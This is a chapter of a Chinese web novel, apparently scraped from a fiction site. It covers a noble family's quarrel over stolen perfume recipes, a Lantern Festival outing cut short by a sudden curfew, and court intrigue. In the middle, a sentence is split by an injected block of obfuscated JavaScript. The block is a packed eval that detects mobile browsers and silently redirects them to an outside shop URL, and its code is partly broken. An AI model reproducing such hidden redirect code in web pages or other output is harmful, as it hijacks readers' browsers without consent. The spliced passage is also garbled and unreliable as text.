风竹小说 > 玄幻魔法 > 高门小户 > 24. 开始
    赵氏逞心中痛快,故意捡了软柿子捏。安氏原还不解,此时看一簸箕的碎方子,当即就明白过来了。好哇,这个大嫂,得了整个国公府的便宜还不够,连那么个小铺子的方子也不放过?

    这也就罢了,如今事情被人揭露出来,她倒还有脸拿自个儿撒气?

    呸!

    安氏素来泼辣,当即给了拿簸箕的小丫头两个大巴掌,叉腰怒骂道:“遭了瘟的贱蹄子,黑了心肝的小畜生,仔细明儿遭了报应,连累一家老小没个好下场!”

    这话骂得很不像话,至少赵氏就坐不住了。她今日遭了钱氏并宋华珊的冤枉,此时也压抑不住了,掀了毡帘出来训斥道:“弟妹,大过年里也没个讲究?怎滴,得闹出个家宅不宁才成?”

    老二家的倒也罢了,这安氏又算个什么东西?

    “好大的笑话,我们三房早被扫地出门了。家宅不宁管我何事,反正我家里和和气气,顺顺利利的。老天有眼,倒霉的都是那些黑心肝儿的。”说罢还摇了摇手上的碎方子,又问道:“大嫂,我家掌柜的方子怎么到你手里了?”

    赵氏实在不晓得怎么说,只恶毒道:“那你去问问汪掌柜!”去阴曹地府问去吧。

    安氏倒不晓得这么些,但看人眼色却是会的,故而她顺嘴道:“那不得劳烦嫂子一道去。”

    屋内,宋嘉思听着娘与三婶毫无意义地叫闹掰扯,烦躁地直拧景冬胳膊上的嫩肉。这丫头也不知是年纪尚小还是什么缘由,这两回事情办得实在难看。朱嘉轩看了眼妹妹,又瞅了瞅面无表情的丫头,忍不住出声道:“行了,嘉思。”

    如今家里乱成这样,不都是她自己的缘故?如今不分场合地拿个丫头撒气?心里真是一点儿成算也没有。

    而宋嘉思也恨亲哥如上辈子一般废物无能,处置个丫鬟还被人抓在了当场。虽未言语,可那看废物的眼神着实明显,宋嘉轩亦不是多好的性子。这一来,兄妹两个在亲娘屋子里也吵翻了天。

    等赵国公得到消息,他直接给了大儿子一脚,冷声道:“让宋嘉思给我滚到祠堂思过。宋嘉轩滚回去抄书,他既然这么闲,那所有课业翻十倍,不完成不准出去。至于赵氏,等出了正月,给我去佛堂住满一个月。”

    一叠命令下来,让戈老夫人气了半死。

    她是看出来了,赵国公这个心是真得偏了。此事大房纵有不对,宋华珊正月里咄咄逼人就对了?安氏那条村狗在赵国公府里狂吠就对了?

    然而这些都算了,让戈老夫人更为火大的是,她看出来了赵国公的动摇。

    此时,她正咄咄逼人道:“宋国康,嘉思是什么身份?凭你也配罚她?还是,你另有心思?怎滴,孙女不藏私地将这天大的机缘告诉了你。你不说回报她?还要扯她后腿不成?”

    听了老妻一席糊涂话,赵国公也懒得将道理揉碎了讲与她听,而是将院正之前诊的脉案给了她,且道:“仅凭这一桩,正妃之位她就坐不得。且不说皇家,就咱们这个国公府,愿娶这样的女子入门?”

    戈老夫人浑身一惊,再想不到竟是这样。可转而一想,仿佛又没什么好稀奇的,毕竟孙女也说了,上辈子她寻医问药也都无用。

    她生不出含有宋氏血缘的皇子,那根基就总是飘的。无根皇后,族里怎么可能一直安分老实,任劳任怨地扶持她?

    可怎会如此呢?

    嘉思自小由她锦衣玉食娇养长大,但凡入了秋,寒凉之物更是碰也不碰。年年岁岁又有府医诊脉,依着时令节气进补身体。举凡她想到的,也全都做足了,又怎会得了这样的病?

    戈老夫人不甘心,可国公爷说的也在理。

    “老爷,那您要如何安排?嘉思那孩子上辈子吃够了苦头,难不成这辈子仍旧不能如意么?实在不成,且全了她为后的心愿。咱们族里适龄的姑娘也不少,实在不成,寻一两个陪嫁过去。”

    这话倒是与赵国公不谋而合。不过这主次之分另有说头。只是赵国公看透了戈老夫人与宋嘉思这对祖孙如出一辙的固执己见及霸道狠辣,故而不曾将真实心思告知于她。总之,待尘埃落定,她们不得不接受。

    而戈老夫人见赵国公面色和缓,料想他与自己心思相同,虽欣慰赵国公仍未放弃嘉思,可也头疼如何劝导亲孙女。

    如今实在是多事之秋,且从长计议罢!

    ......

    余下几日又是各处拜年,过了初十方才闲下来。等到了十五,一家人则去了通惠河畔参加上元灯会。河畔两侧立着的花灯好似两条火龙,与通惠河这条冰龙一道游行而走。因是佳节,一连三日都是没有宵禁的,长街上的人群摩肩擦踵,各处响着买卖吆喝声。

    这还是宋嘉佳第一次参加民间的灯会。

    原先在赵国公府邸的时候,都是陪着戈老夫人在自家的观景阁赏灯,虽也看到万家灯火,但终究不及深入此中来得热闹有趣。

    就好比宋嘉佳,虽活了两辈子,可仍被眼前热闹看得眼花缭乱。一年难得几回热闹,各家真是拿出了看家本领。傀儡戏、幻术、相扑、驯兽、杂耍等等,几乎是五步就有一番热闹。又往里走,竟看着有人在结了冰的通惠河上滑龙灯,刚登了桥往远处看去,又听行人凑趣吆喝声,原来又有人踩着高跷,腰间挂着龙船,敲着锣打着鼓往这处来了。

    这一日,不拘南边的,北边的,但凡好玩的,全都摆了出来。路上,又遇着僧人,道人,还有跳着胡炫舞的男子女子。

    宋嘉佳看得目不暇接,花灯下全是她的笑颜。裴景元戴着兽首面具,忍不住默默跟着她。先是离着八丈远,忍不住贪恋又凑前两步,而欲望是无止尽的,等他回过神来,已然站在了宋嘉佳身侧。

    “公子,您这面具从哪儿买的?”实在这人贴得太近,宋嘉佳想不注意都难。抬头一看,竟是戴着面具的年轻男子,那面具着实可爱,竟是狸奴样式的,瞧着好似她家里的小汤圆儿。

    裴景元一愣,好半响才往前面的摊子上一指。

    宋嘉佳与他道谢,拉着哥哥们就去前处摊子。裴景元抬脚刚要跟从,就见维护治安的巡捕营及锦衣卫五城兵马司各部门的人疾跑过来,不多时,竟传来宵禁的消息。

    自乾元帝登基以来,还真是从未有过的事情。

    宋嘉佳虽有些意犹未尽,但也知晓安全为重,故而一家人很快就归了家。小汤圆听了动

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16905950|190385||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    静,立刻冲过来喵喵呜呜的,显然它很是不满自己留守在家的。

    而裴景元更是不痛快了,他刚与嘉佳搭上话,竟是碰到这样的事情。这时,严叔又来禀告道:“公子,太太那儿来了信,说寻着柳幕僚了。”

    这柳幕僚正是方善山近身之人。当年方善山任上被人刺杀,心腹忠仆几乎死绝,唯不见柳幕僚的尸首。楚世珍知晓之后,第一时间安排了个死人充当柳幕僚,也命人去官府登记了他的死亡信息。

    而与此同时,楚世珍又秘密派人四处寻找柳幕僚,一找就是数年。没想着今朝竟寻着了。

    方景和得知之后,立刻准备离京。只是离去之时,他又命马车在宋宅门口绕了一圈。如今小姑姑回来了,有她护着倒也不怕嘉佳被人欺负。

    宋嘉佳自是不知自己曾与绝交好友擦肩而过,彼时出了正月,她家里寻着的匠人也开始忙活了。不过这日安氏那儿竟得了钱氏的密信,简直让人摸不着头脑。

    不过此时宋嘉文三兄弟已经去了书院读书,宋华礼也住进庄子为武举备考,城内宅子到底场所有限,施展不开。

    钱氏这信来得突然,内容也莫名其妙,竟是撺掇安氏去官府状告工部员外郎赵奉瑞。没头没尾,莫名其妙,安氏连这赵奉瑞是谁都不清楚。

    “娘,这是大伯娘的亲哥哥。”

    “啊?这个赵家?奥,对了,你二嫂之前就让人传话,说是赵家抢了咱们的香方。这,香方都拿来了,还要告么?”

    宋嘉佳摇头,两个嫡出伯伯斗法,他们三房就别掺和进去了。再一个自家与二伯娘也没什么交情,她可不是个会协助收尾的性子。

    “我也这般想,只是你两个伯伯到底怎么了?不成,得寻你姑姑过来问个明白。”

    又一日宋华珊带着儿子来了,她倒也没瞒着,就将正月那出闹剧说了出来。自然真真假假,她没给定论,只说有这么桩事情。接着宋华珊又道:“昨个永宁侯府门下官员弹劾了巡捕营都司任自安。”

    安氏诧异道:“这又是谁?跟咱们家什么关系?”

    宋华珊对着这样的嫂子都无语了,这人真是一心窝在家里弄针线,外面的事儿一概不管的?

    宋华珊又问侄女道:“嘉佳可听过这人的名字?”

    “我记得二伯娘家的弟弟曾任巡捕营都司,后来被祖父门下弹劾丢了差事。后上任的都司据说是三皇子的亲舅舅,姑姑,可是这个任自安?”

    “好孩子,到底没随了你亲娘只晓得过糊涂日子。这任自安的的确确就是三皇子的亲舅舅。那你猜猜,他因何弹劾?”

    “巡捕营管着城内治安,尤其是夜间治安。上元节头日突然开始宵禁,可是城内出了什么事情?说来,这事我倒也寻人打听了,竟是一丁点儿消息也无。”

    见孙女还算有心,宋华珊不免心中安慰。同时老头子的算盘珠子,不知为何在她心里也悄悄响起。

    而宋嘉佳回想着原著情节,若永明帝为男主,五皇子则是反派了。永明帝此人宽和仁善,而五皇子则恰恰相反,性格秉性都有些武将作风,乃天生将才。

    很可惜,永明帝一生未能降服住这样的将才!